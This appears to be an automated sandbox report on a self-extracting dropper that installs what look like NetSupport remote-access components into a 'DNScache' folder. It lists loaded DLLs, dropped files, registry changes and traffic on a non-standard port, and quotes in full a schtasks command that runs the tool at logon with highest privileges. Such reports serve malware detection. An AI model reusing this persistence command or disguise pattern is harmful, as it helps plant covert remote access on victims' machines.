Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: 5q1Wm5VlqL.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 5q1Wm5VlqL.exe

Static file information: File size 1818624 > 1048576

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Users\user\AppData\Local\DNScache\MSVCR100.dll

Jump to behavior

Source: 5q1Wm5VlqL.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x1ad000

Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 5q1Wm5VlqL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 5q1Wm5VlqL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 5q1Wm5VlqL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdb source: 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000007.00000002.4616285771.000000006C802000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000009.00000002.2302595066.000000006C802000.00000002.00000001.01000000.0000000A.sdmp, PCICHEK.DLL.2.dr
Source:	Binary string: wextract.pdb source: 5q1Wm5VlqL.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr
Source:	Binary string: wextract.pdbGCTL source: 5q1Wm5VlqL.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Full\pcichek.pdbN source: 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, PCICHEK.DLL.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdbL source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr
Source:	Binary string: sxssrv.pdb source: sxssrv.dll.2.dr
Source:	Binary string: whealogr.pdb source: whealogr.dll.2.dr
Source:	Binary string: client32_ctr.pdb0\1100\client32\Release\client32_ctr.pdbP source: client32.exe.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdbP source: TCCTL32.DLL.2.dr
Source:	Binary string: sxssrv.pdbUGP source: sxssrv.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\release\tcctl32.pdb source: TCCTL32.DLL.2.dr
Source:	Binary string: sxshared.pdb source: sxshared.dll.2.dr
Source:	Binary string: msvcr100.i386.pdb source: client32.exe, client32.exe, 00000009.00000002.2301224660.000000006C711000.00000020.00000001.01000000.0000000C.sdmp, msvcr100.dll.2.dr
Source:	Binary string: D:\a\_work\1\s\MSRTC\msrtc\build.d\output\release\RtmMvrOrtc.pdb source: rtmmvrortc.dll.2.dr
Source:	Binary string: rtutils.pdbUGP source: rtutils.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\AudioCapture\Release\AudioCapture.pdb source: AudioCapture.dll.2.dr
Source:	Binary string: WFAPIGP.pdb source: 1stovl.exe, 00000002.00000003.2253552887.00000000014C3000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, wfapigp.dll.2.dr
Source:	Binary string: client32_ctr.pdb source: client32.exe.2.dr
Source:	Binary string: WFAPIGP.pdbUGP source: 1stovl.exe, 00000002.00000003.2253552887.00000000014C3000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, wfapigp.dll.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: client32.exe, 00000007.00000002.4616175662.000000006C7E5000.00000002.00000001.01000000.0000000B.sdmp, client32.exe, 00000009.00000002.2302025075.000000006C7E5000.00000002.00000001.01000000.0000000B.sdmp, pcicapi.dll.2.dr
Source:	Binary string: sxshared.pdbUGP source: sxshared.dll.2.dr
Source:	Binary string: 0\1100\client32\Release\client32_ctr.pdb source: client32.exe.2.dr
Source:	Binary string: whealogr.pdbGCTL source: whealogr.dll.2.dr
Source:	Binary string: rtutils.pdb source: rtutils.dll.2.dr

Source: 5q1Wm5VlqL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 5q1Wm5VlqL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 5q1Wm5VlqL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 5q1Wm5VlqL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 5q1Wm5VlqL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: 5q1Wm5VlqL.exe

Static PE information: 0xD97FD45F [Sun Aug 19 04:21:51 2085 UTC]

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E11A08 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF749E11A08

Source: 1stovl.exe.0.dr	Static PE information: section name: .config
Source: rtutils.dll.2.dr	Static PE information: section name: .didat
Source: wfapigp.dll.2.dr	Static PE information: section name: .didat
Source: sxshared.dll.2.dr	Static PE information: section name: .didat
Source: PCICL32.DLL.2.dr	Static PE information: section name: .hhshare

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Code function: 2_2_00D17F81 push ecx; ret	2_2_00D17F94
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1116B735 push ecx; ret	7_2_1116B748
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_11166629 push ecx; ret	7_2_1116663C
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1116B735 push ecx; ret	9_2_1116B748
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11166629 push ecx; ret	9_2_1116663C
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C712D80 push eax; ret	9_2_6C712D9E
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C720995 push ecx; ret	9_2_6C7209A8
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_6C73A6AA push EF3FEFD4h; iretd	9_2_6C73A6B1

Source: msvcr100.dll.2.dr

Static PE information: section name: .text entropy: 6.909044922675825

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\client32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\wfapigp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\rtutils.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\sxshared.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\rtmmvrortc.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\sxssrv.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\whealogr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	File created: C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	Jump to dropped file

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Code function: 0_2_00007FF749E11D28 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,		0_2_00007FF749E11D28
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6C4E7030 ctl_open,LoadLibraryA,InitializeCriticalSection,CreateEventA,CreateEventA,CreateEventA,CreateEventA,WSAStartup,_malloc,_memset,_calloc,_malloc,_memset,_malloc,_memset,GetTickCount,CreateThread,SetThreadPriority,GetModuleFileNameA,GetPrivateProfileIntA,GetModuleHandleA,CreateMutexA,timeBeginPeriod,		7_2_6C4E7030

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

7_2_11124DC0

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 3785 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 3785
